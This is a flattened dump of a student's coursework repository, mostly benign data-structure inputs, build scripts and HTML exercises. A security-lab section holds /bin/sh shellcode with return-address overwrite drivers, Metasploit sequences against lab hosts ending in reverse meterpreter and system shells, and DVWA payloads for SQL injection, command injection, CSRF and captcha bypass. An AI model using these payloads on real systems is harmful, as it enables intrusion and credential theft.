"/home/j/Desktop/S5/WebP/A2/httpServer/webenv/bin/python3.8" 3 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/ntemp: -------------------------------------------------------------------------------- 1 | e92a0000005e897608c6460700c7460c00000000b80b00000089f38d4e088d560ccd80b801000000bb00000000cd80e8d1ffffff2f62696e2f736800905dc38b -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/1/i1_1: -------------------------------------------------------------------------------- 1 | ( 33 B ( 13 R ( 11 B ( ) ( ) ) ( 21 B ( 15 R ( ) ( ) ) ( 31 R ( ) ( ) ) ) ) ( 53 B ( 41 R ( ) ( ) ) ( 61 R ( ) ( ) ) ) ) 2 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/1/i1_2: -------------------------------------------------------------------------------- 1 | ( 33 B ( 13 R ( 11 B ( ) ( ) ) ( 21 B ( 15 R ( ) ( ) ) ( 31 R ( ) ( ) ) ) ) ( 53 B ( 41 R ( ) ( ) ) ( 61 R ( ) ( ) ) ) ) 2 | -------------------------------------------------------------------------------- /S5/WebP/HTML_FORMS_EXERCISE/Code/img/logo_nitc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/WebP/HTML_FORMS_EXERCISE/Code/img/logo_nitc.png -------------------------------------------------------------------------------- /S5/WebP/JavaScript_ClassroomASSG/WebPQuestions.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/WebP/JavaScript_ClassroomASSG/WebPQuestions.pdf -------------------------------------------------------------------------------- /S5/WebP/HTML_FORMS_EXERCISE/EXERCISE MONSOON 2021.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/WebP/HTML_FORMS_EXERCISE/EXERCISE MONSOON 2021.docx -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/FileUpload/simple_shell_m.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/BufferOverflowLab_CSL_2021_22.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/BufferOverflowLab_CSL_2021_22.pdf -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/Weak Session IDs/temp.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | for i in range(25) : 4 | hex = hashlib.md5(f'{i}'.encode()) 5 | print(hex.hexdigest(),i) -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_5/Assignment_V_NGFW_CSL_2021_22.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_5/Assignment_V_NGFW_CSL_2021_22.pdf -------------------------------------------------------------------------------- /S7/ML/Assignment_1/__pycache__/Question2.cpython-39.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/ML/Assignment_1/__pycache__/Question2.cpython-39.pyc -------------------------------------------------------------------------------- /S4/DSA/2021/Assignment_1/CS2094D_Assignment_1._Updated.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/DSA/2021/Assignment_1/CS2094D_Assignment_1._Updated.pdf -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_6/Assignment_VI_IDS_IPS_CSL_2021_22.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_6/Assignment_VI_IDS_IPS_CSL_2021_22.pdf -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_4/FTP/linux.txt: -------------------------------------------------------------------------------- 1 | search vsf 2 | use 0 3 | 4 | use exploit/unix/ftp/vsftpd_234_backdoor 5 | 6 | set RHOST 192.168.2.3 7 | set LHOST 192.168.2.4 8 | 9 | run -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_4/Metasploit/samba.txt: -------------------------------------------------------------------------------- 1 | search samba 2 | use 8 3 | 4 | use exploit/multi/samba/usermap_script 5 | 6 | set RHOST 192.168.2.3 7 | set LHOST 192.168.2.4 8 | 9 | run -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/pgm.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = "\xeb\x1f..."; 2 | 3 | int main(int argc, char *argv[]) 4 | { 5 | void (*shell)() = (void *) shellcode; 6 | shell(); 7 | return 0; 8 | } -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/4/i4_0: -------------------------------------------------------------------------------- 1 | 10 2 | insr 0 10 3 | insr 2 20 4 | insr 5 30 5 | insr 1 40 6 | insr 3 50 7 | extr 8 | insr 0 60 9 | min 10 | decr 1 45 11 | extr 12 | min 13 | stop 14 | -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/Screenshot from 2020-11-04 15-15-06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/PipeCommunication/Q1/Screenshot from 2020-11-04 15-15-06.png -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/Screenshot from 2020-11-04 15-16-15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/PipeCommunication/Q1/Screenshot from 2020-11-04 15-16-15.png -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/Screenshot from 2020-11-04 15-17-33.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/PipeCommunication/Q2/Screenshot from 2020-11-04 15-17-33.png -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/Screenshot from 2020-11-04 15-18-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/PipeCommunication/Q2/Screenshot from 2020-11-04 15-18-03.png -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_4/HTTP/linux.txt: -------------------------------------------------------------------------------- 1 | search twiki 2 | use 2 3 | 4 | use exploit/unix/webapp/twiki_history 5 | 6 | set RHOSTS 192.168.2.2 7 | set LHOST 192.168.2.4 8 | 9 | exploit (multiple Times) -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/4/i4_3: -------------------------------------------------------------------------------- 1 | 10 2 | insr 0 10 3 | insr 2 20 4 | insr 5 30 5 | insr 1 40 6 | insr 3 50 7 | extr 8 | insr 0 60 9 | decr 3 45 10 | extr 11 | tc 12 | min 13 | del 5 14 | stop 15 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_4/Metasploit/javarmi.txt: -------------------------------------------------------------------------------- 1 | search java rmi 2 | use 3 3 | 4 | or 5 | 6 | use exploit/multi/misc/java_rmi_server 7 | 8 | set RHOST 192.168.2.3 9 | set LPORT 192.168.2.4 10 | 11 | run -------------------------------------------------------------------------------- /S5/OSTheory/CharacterDriver/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := mouseController.o 2 | all: 3 | make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules 4 | clean: 5 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 6 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/m: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | 5 | if __name__ == '__main__' : 6 | os.system('nasm -f elf {0}.asm'.format(sys.argv[1])) 7 | os.system('ld -melf_i386 {0}.o -o {0}.aos'.format(sys.argv[1])) 8 | -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/CS4042D Web Programming Assignment 1 Question Monsoon 2021.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/WebP/Assg2-WebServer/CS4042D Web Programming Assignment 1 Question Monsoon 2021.pdf -------------------------------------------------------------------------------- /S7/WebP/Exercise1.md: -------------------------------------------------------------------------------- 1 | Make an implementation of coursera 2 | 3 | ## Group 1 4 | [Link to Repo 1](https://github.com/hemanthkumar17/WebCoursera) 5 | 6 | ## Group 2 7 | [Link to Repo 2](https://github.com/soujanyanmbri/webpass1) -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main() { 5 | char *name[2]; 6 | 7 | name[0] = "/bin/sh"; 8 | name[1] = NULL; 9 | execve(name[0], name, NULL); 10 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/BruteForce/passwords.txt: -------------------------------------------------------------------------------- 1 | passw0rd 2 | p@ssw0rd 3 | pa55w0rd 4 | Password 5 | passw0rd 6 | p@ssw0rd 7 | pa55w0rd 8 | Password 9 | password 10 | passw0rd 11 | p@ssw0rd 12 | pa55w0rd 13 | Password -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q12.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q12 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcode.c~: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main() { 5 | char *name[2]; 6 | 7 | name[0] = "/bin/sh"; 8 | name[1] = NULL; 9 | execve(name[0], name, NULL); 10 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example1.c: -------------------------------------------------------------------------------- 1 | void function(int a, int b, int c) { 2 | char buffer1[5]; 3 | char buffer2[10]; 4 | c = a + b ; 5 | buffer2[0] = buffer2[0] ; 6 | } 7 | 8 | void main() { 9 | function(1,2,3); 10 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/CommandInjection/solutions.txt: -------------------------------------------------------------------------------- 1 | low 2 | ; hostname 3 | ; whoami 4 | 5 | medium 6 | || hostname 7 | || whoami 8 | 9 | high 10 | |hostname 11 | |whoami -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/Weak Session IDs/solutions.txt: -------------------------------------------------------------------------------- 1 | Low 2 | IDs are generated +1 from starting from 1 3 | 4 | Medium 5 | ID generated from Unix Epoch Time 6 | 7 | High 8 | MD5 of incremented values starting from 1 (reached 15 now) -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_4/FTP/windows.txt: -------------------------------------------------------------------------------- 1 | search freefloat 2 | use 0 3 | 4 | use exploit/windows/ftp/freefloatftp_user 5 | 6 | set RHOSTS 192.168.2.2 7 | set LHOST 192.168.2.4 8 | 9 | run 10 | 11 | sysinfo 12 | getsystem 13 | shell -------------------------------------------------------------------------------- /S8/IIS/Makefile: -------------------------------------------------------------------------------- 1 | CC = g++ 2 | CFLAGS = -g -O2 -std=c++11 -pthread -march=native -lntl -lgmp -lm -lcrypto -lssl 3 | all: $(patsubst %.cpp, %.out, $(wildcard *.cpp)) 4 | %.out: %.cpp Makefile 5 | $(CC) $< -o $@ $(CFLAGS) 6 | clean: 7 | rm *.out -------------------------------------------------------------------------------- /S8/IIS/Submission/Makefile: -------------------------------------------------------------------------------- 1 | CC = g++ 2 | CFLAGS = -g -O2 -std=c++11 -pthread -march=native -lntl -lgmp -lm -lcrypto -lssl 3 | all: $(patsubst %.cpp, %.out, $(wildcard *.cpp)) 4 | %.out: %.cpp Makefile 5 | $(CC) $< -o $@ $(CFLAGS) 6 | clean: 7 | rm *.out -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q2/input: -------------------------------------------------------------------------------- 1 | 5 2 | 3 3 | 10 5 7 4 | 0 1 0 5 | 2 0 0 6 | 3 0 2 7 | 2 1 1 8 | 0 0 2 9 | 7 5 3 10 | 3 2 2 11 | 9 0 2 12 | 4 2 2 13 | 5 3 3 14 | a 15 | b 16 | 1 2 3 4 5 17 | b 18 | 2 3 1 4 5 19 | c 20 | 7 7 7 21 | t -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Inputs/3/i3_0: -------------------------------------------------------------------------------- 1 | m 1 2 | m 2 3 | m 3 4 | m 4 5 | m 5 6 | m 6 7 | m 7 8 | m 8 9 | m 9 10 | u 1 2 11 | u 3 4 12 | u 5 6 13 | u 7 8 14 | u 9 8 15 | u 6 8 16 | u 4 8 17 | u 2 8 18 | f 9 19 | m 10 20 | u 10 9 21 | s 22 | -------------------------------------------------------------------------------- /S8/Cloud/vm-server.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description="Simple Server Service" 3 | 4 | [Service] 5 | User=root 6 | WorkingDirectory=/home/wzard/Server 7 | ExecStart=/usr/bin/python3 temp.py 8 | Restart=always 9 | 10 | [Install] 11 | WantedBy=multi-user.target -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/CSRF/solutions.txt: -------------------------------------------------------------------------------- 1 | Medium 2 | Make guestbook entry with change password url embedded 3 | - requires to modify input field to have more than 50 characters 4 | 5 | High 6 | Upload file with upload vulnerability 7 | Run from there -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q6.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q6 5 | 6 | 7 | Laptop computer:

8 | Was $995

9 | Now only $375 10 | 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/Insecure Captcha/solutions.txt: -------------------------------------------------------------------------------- 1 | Low 2 | Send Post request with password 3 | 4 | Medium 5 | Send Post request with password and captcha passed flag as true 6 | 7 | High 8 | Send Post request with user-agent : reCAPTCHA and g-recaptcha-response : hidd3n_valu3 -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/httpServer/modify.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Modify 5 | 6 | 7 |

8 | Roll No : B180xxxCS
9 | Name : Full Name 10 |

11 | 12 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_4/HTTP/windows.txt: -------------------------------------------------------------------------------- 1 | search savant 2 | use 1 3 | 4 | use exploit/windows/http/savant_31_overflow 5 | 6 | set RHOSTS 192.168.2.2 7 | set LHOST 192.168.2.4 8 | 9 | set payload windows/meterpreter/reverse_ord_tcp 10 | 11 | run 12 | 13 | sysinfo 14 | getsystem 15 | shell -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/CSRF/low.html: -------------------------------------------------------------------------------- 1 | 2 |

3 | You have won $5000 4 |

5 | 6 | 9 | 10 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q10.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q10 5 | 6 | 7 |
    8 |
  1. Tamilnadu
  2. 9 |
  3. Uttar Pradesh
  4. 10 |
  5. West-Bengal
  6. 11 |
12 | 13 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example2.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void function(char *str) { 4 | char buffer[16]; 5 | 6 | strcpy(buffer,str); 7 | } 8 | 9 | void main() { 10 | char large_string[256]; 11 | int i; 12 | 13 | for( i = 0; i < 255; i++) 14 | large_string[i] = 'A'; 15 | 16 | function(large_string); 17 | } -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q3/README.md: -------------------------------------------------------------------------------- 1 | # Dining Philosopher Problem 2 | 3 | Solution to threaded Dining Philosopher's problem using Semaphores 4 | 5 | ## Files : 6 | ``` 7 | q3.c # Solution 8 | ``` 9 | ## Commands to run : 10 | ``` 11 | gcc q3.c -pthread -o q3 && ./q3 # Compile And Run 12 | ``` 13 | 14 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/SQL Injection/solutions.txt: -------------------------------------------------------------------------------- 1 | Low 2 | ' union select user,password from users# 3 | 4 | Medium 5 | Change one of the option values to 6 | 1 UNION select user,password from users 7 | (as it does not have quotes) 8 | 9 | High 10 | ' union select user,password from users# 11 | In the tab that opens up -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q11.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q11 5 | 6 | 7 | W3Schools.com
8 | HTML Tutorial
9 | NIT Calicut
10 | 11 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q2 5 | 6 | 7 | On the 4th of September you will learn about E=MC2 8 |

9 | The amount of CO2 in the atmosphere grew by 2ppm in 20091 10 | 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example3.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void function(int a, int b, int c) { 4 | char buffer1[5]; 5 | char buffer2[10]; 6 | int *ret; 7 | 8 | ret = buffer1 + 26; 9 | (*ret) += 10; 10 | } 11 | 12 | void main() { 13 | int x; 14 | 15 | x = 0; 16 | function(1,2,3); 17 | x = 1; 18 | printf("%d\n",x); 19 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example3.c~: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void function(int a, int b, int c) { 4 | char buffer1[5]; 5 | char buffer2[10]; 6 | int *ret; 7 | 8 | ret = buffer1 + 26; 9 | (*ret) += 12; 10 | } 11 | 12 | void main() { 13 | int x; 14 | 15 | x = 0; 16 | function(1,2,3); 17 | x = 1; 18 | printf("%d\n",x); 19 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q2.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q2.c~: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/httpServer/page2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | This is Page2 5 | 6 | 7 | 8 |

This is Page2

9 |

This page does not contain any relevent data

10 | 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/Submission/q2.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcodeasm.c: -------------------------------------------------------------------------------- 1 | void main() { 2 | __asm__("jmp line\n\taddress:popl %esi\n\tmovl %esi,0x8(%esi)\n\tmovb $0x0,0x7(%esi)\n\tmovl $0x0,0xc(%esi)\n\t movl $0xb,%eax\n\tmovl %esi,%ebx\n\tleal 0x8(%esi),%ecx\n\tleal 0xc(%esi),%edx\n\tint $0x80\n\tmovl $0x1, %eax\n\tmovl $0x0, %ebx\n\tint $0x80\n\tline:call address\n\t.string \"/bin/sh\"\n\t"); 3 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcodeasm.c~: -------------------------------------------------------------------------------- 1 | void main() { 2 | __asm__("jmp line\n\taddress:popl %esi\n\tmovl %esi,0x8(%esi)\n\tmovb $0x0,0x7(%esi)\n\tmovl $0x0,0xc(%esi)\n\t movl $0xb,%eax\n\tmovl %esi,%ebx\n\tleal 0x8(%esi),%ecx\n\tleal 0xc(%esi),%edx\n\tint $0x80\n\tmovl $0x1, %eax\n\tmovl $0x0, %ebx\n\tint $0x80\n\tline:call address\n\t.string \"/bin/sh\"\n\t"); 3 | } -------------------------------------------------------------------------------- /S5/WebP/CSS_Exercise/myStyle.css: -------------------------------------------------------------------------------- 1 | body { 2 | font-family: Verdana; 3 | font-size: medium; 4 | background-color: yellow; 5 | margin: 0px; 6 | } 7 | h2 { 8 | font-family: Georgia; 9 | color: green; 10 | } 11 | p { 12 | border: 2px solid gray; 13 | } 14 | p.personal { 15 | font-style: italic; 16 | } 17 | ul { 18 | background-color: blue; 19 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/Submission/q1_direct.c: -------------------------------------------------------------------------------- 1 | void main() { 2 | __asm__("jmp line\n\taddress:popl %esi\n\tmovl %esi,0x8(%esi)\n\tmovb $0x0,0x7(%esi)\n\tmovl $0x0,0xc(%esi)\n\t movl $0xb,%eax\n\tmovl %esi,%ebx\n\tleal 0x8(%esi),%ecx\n\tleal 0xc(%esi),%edx\n\tint $0x80\n\tmovl $0x1, %eax\n\tmovl $0x0, %ebx\n\tint $0x80\n\tline:call address\n\t.string \"/bin/sh\"\n\t"); 3 | } -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/Readme.txt: -------------------------------------------------------------------------------- 1 | Steps to run Sever: 2 | Prerequisites: 3 | Python(v3) 4 | 5 | -> cd into httpServer/ 6 | -> Run 7 | -(Windows) $python server.py 8 | -(Linux) $python3 server.py 9 | 10 | Server will start listening at port 4040 11 | 12 | Available uri: 13 | 14 | / -> index page 15 | /page2 -> page2.html 16 | /getmoved.html -> redirected to www.google.com 17 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q3.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q3 5 | 6 | 7 | ( log2x )2 8 |
9 | ex2 log2 (x2)2 10 |
11 | e( logab * logba )2 12 | 13 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q1.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q1 5 | 6 | 7 |

Heading 1

8 |

Heading 2

9 |

Heading 3

10 |

Heading 4

11 |
Heading 5
12 |
Heading 6
13 | 14 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/Submission/q1.c: -------------------------------------------------------------------------------- 1 | void main() { 2 | __asm__("jmp line\n\taddress:popl %esi\n\tmovl %esi,0x8(%esi)\n\txorl %eax,%eax\n\tmovb %al,0x7(%esi)\n\tmovl %eax,0xc(%esi)\n\tmovb $0xb,%al\n\tmovl %esi,%ebx\n\tleal 0x8(%esi),%ecx\n\tleal 0xc(%esi),%edx\n\tint $0x80\n\txorl %ebx, %ebx\n\tmovl %ebx, %eax\n\tinc %eax\n\tint $0x80\n\tline:call address\n\t.string \"/bin/sh\"\n\t"); 3 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q2_temp.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcodeasm_2.c: -------------------------------------------------------------------------------- 1 | void main() { 2 | __asm__("jmp line\n\taddress:popl %esi\n\tmovl %esi,0x8(%esi)\n\txorl %eax,%eax\n\tmovb %al,0x7(%esi)\n\tmovl %eax,0xc(%esi)\n\tmovb $0xb,%al\n\tmovl %esi,%ebx\n\tleal 0x8(%esi),%ecx\n\tleal 0xc(%esi),%edx\n\tint $0x80\n\txorl %ebx, %ebx\n\tmovl %ebx, %eax\n\tinc %eax\n\tint $0x80\n\tline:call address\n\t.string \"/bin/sh\"\n\t"); 3 | } -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/m: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | cmd = os.system 5 | name = sys.argv[1] 6 | try : 7 | kind = int(sys.argv[2]) 8 | except : 9 | kind = 1 10 | 11 | if __name__ == '__main__' : 12 | cmd('nasm -f elf {0}.asm'.format(name)) 13 | if kind == 1 : 14 | cmd('ld -melf_i386 {0}.o -o {0}.aos'.format(name)) 15 | elif kind == 2 : 16 | cmd('gcc -m32 {0}.o -o {0}.aos'.format(name)) 17 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/make: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | name = sys.argv[1] 5 | try : 6 | kind = int(sys.argv[2]) 7 | except : 8 | kind = 1 9 | 10 | if __name__ == '__main__' : 11 | os.system('nasm -f elf {0}.asm'.format(name)) 12 | if kind == 1 : 13 | os.system('ld -melf_i386 {0}.o -o {0}.aos'.format(name)) 14 | elif kind == 2 : 15 | os.system('gcc -m32 {0}.o -o {0}.aos'.format(name)) 16 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/make: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | name = sys.argv[1] 5 | try : 6 | kind = int(sys.argv[2]) 7 | except : 8 | kind = 1 9 | 10 | if __name__ == '__main__' : 11 | os.system('nasm -f elf {0}.asm'.format(name)) 12 | if kind == 1 : 13 | os.system('ld -melf_i386 {0}.o -o {0}.aos'.format(name)) 14 | elif kind == 2 : 15 | os.system('gcc -m32 {0}.o -o {0}.aos'.format(name)) 16 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcodeasm_2.c~: -------------------------------------------------------------------------------- 1 | void main() { 2 | __asm__("jmp line\n\taddress:popl %esi\n\tmovl %esi,0x8(%esi)\n\txorl %eax,%eax\n\tmovl %eax,0x7(%esi)\n\tmovl %eax,0xc(%esi)\n\tmovb $0xb,%al\n\tmovl %esi,%ebx\n\tleal 0x8(%esi),%ecx\n\tleal 0xc(%esi),%edx\n\tint $0x80\n\txorl %ebx, %ebx\n\tmovl %ebx, %eax\n\tinc %eax\n\tint $0x80\n\tline:call address\n\t.string \"/bin/sh\"\n\t"); 3 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/Submission/q2_direct.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q5.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q5 5 | 6 | 7 |
8 | Did you ever stop to think, and forget to start again? 9 |
10 | 11 | As A.A. Milne said,Some people talk to animals, Not many listen though. That's the problem. 12 | 13 | 14 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q8.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q8 5 | 6 | 7 |
    8 |
  • 1kg King Edward potatoes
  • 9 |
  • 100ml milk
  • 10 |
  • 50g salted butter
  • 11 |
  • Freshly grated nutmeg
  • 12 |
  • Salt and pepper to taste
  • 13 |
14 | 15 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q2_temp.c~: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xe9\x2a\x00\x00\x00\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x90\x5d\xc3\x8b"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/testsc.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xe9\x2a\x00\x00\x00\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x90\x5d\xc3\x8b"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/testsc.c~: 